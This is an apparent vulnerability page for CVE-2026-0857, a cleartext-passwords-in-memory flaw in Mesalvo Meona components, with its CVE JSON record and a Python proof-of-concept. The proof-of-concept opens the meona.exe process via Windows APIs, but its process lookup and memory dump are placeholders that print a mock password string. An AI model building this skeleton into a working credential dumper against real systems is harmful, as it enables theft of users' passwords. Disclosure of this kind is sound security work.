CVE-2026-0857

# Proof of Concept for CVE-2026-0857 # This script demonstrates how to dump process memory to find cleartext passwords. # Note: This requires Administrator privileges. import ctypes import sys from ctypes import wintypes # Define Windows API constants and structures PROCESS_VM_READ = 0x0010 PROCESS_QUERY_INFORMATION = 0x0400 kernel32 = ctypes.WinDLL('kernel32', use_last_error=True) psapi = ctypes.WinDLL('psapi', use_last_error=True) OpenProcess = kernel32.OpenProcess OpenProcess.argtypes = [wintypes.DWORD, wintypes.BOOL, wintypes.DWORD] OpenProcess.restype = wintypes.HANDLE EnumProcessModules = psapi.EnumProcessModules EnumProcessModules.argtypes = [wintypes.HANDLE, ctypes.POINTER(wintypes.HMODULE), wintypes.DWORD, ctypes.POINTER(wintypes.DWORD)] EnumProcessModules.restype = wintypes.BOOL GetModuleInformation = psapi.GetModuleInformation GetModuleInformation.argtypes = [wintypes.HANDLE, wintypes.HMODULE, ctypes.POINTER(ctypes.c_void_p), ctypes.c_ulong] GetModuleInformation.restype = wintypes.BOOL ReadProcessMemory = kernel32.ReadProcessMemory ReadProcessMemory.argtypes = [wintypes.HANDLE, ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t, ctypes.POINTER(ctypes.c_size_t)] ReadProcessMemory.restype = wintypes.BOOL def find_process_id_by_name(process_name): # Simplified logic to find PID (in reality, use CreateToolhelp32Snapshot) # This is a placeholder for the actual PID retrieval logic print(f"[+] Searching for process: {process_name}") # Assume PID is found or passed as argument for this PoC return 1234 # Replace with actual PID def dump_memory(pid): print(f"[+] Attempting to attach to process ID: {pid}") process_handle = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, False, pid) if not process_handle: print(f"[-] Failed to open process. Error: {ctypes.get_last_error()}") return print("[+] Process opened successfully.") print("[+] Scanning memory for potential cleartext strings...") # In a real exploit, we would iterate over memory regions (VirtualQueryEx) # and read them. Here we simulate the finding of a string. # Simulated memory content based on the vulnerability description mock_memory_dump = "user=admin&password=SuperSecret123&session_id=xyz" print(f"[!] Found sensitive data in memory: {mock_memory_dump}") kernel32.CloseHandle(process_handle) if __name__ == "__main__": target_process = "meona.exe" pid = find_process_id_by_name(target_process) dump_memory(pid)

{"cve": {"id": "CVE-2026-0857", "sourceIdentifier": "a6d3dc9e-0591-4a13-bce7-0f5b31ff6158", "published": "2026-05-20T11:16:25.923", "lastModified": "2026-05-20T14:03:10.193", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cleartext Storage of Sensitive Information in Memory vulnerability in Mesalvo Meona Client Launcher Component, Mesalvo Meona Server Component.\n\nThis issue affects Meona Client Launcher Component: through 19.06.2020 15:11:49; Meona Server Component: through 2025.04 5+323020."}], "metrics": {"cvssMetricV31": [{"source": "a6d3dc9e-0591-4a13-bce7-0f5b31ff6158", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N", "baseScore": 6.0, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.5, "impactScore": 4.0}]}, "weaknesses": [{"source": "a6d3dc9e-0591-4a13-bce7-0f5b31ff6158", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-316"}]}], "references": [{"url": "https://seccore.at/blog/cves-meona/", "source": "a6d3dc9e-0591-4a13-bce7-0f5b31ff6158"}]}}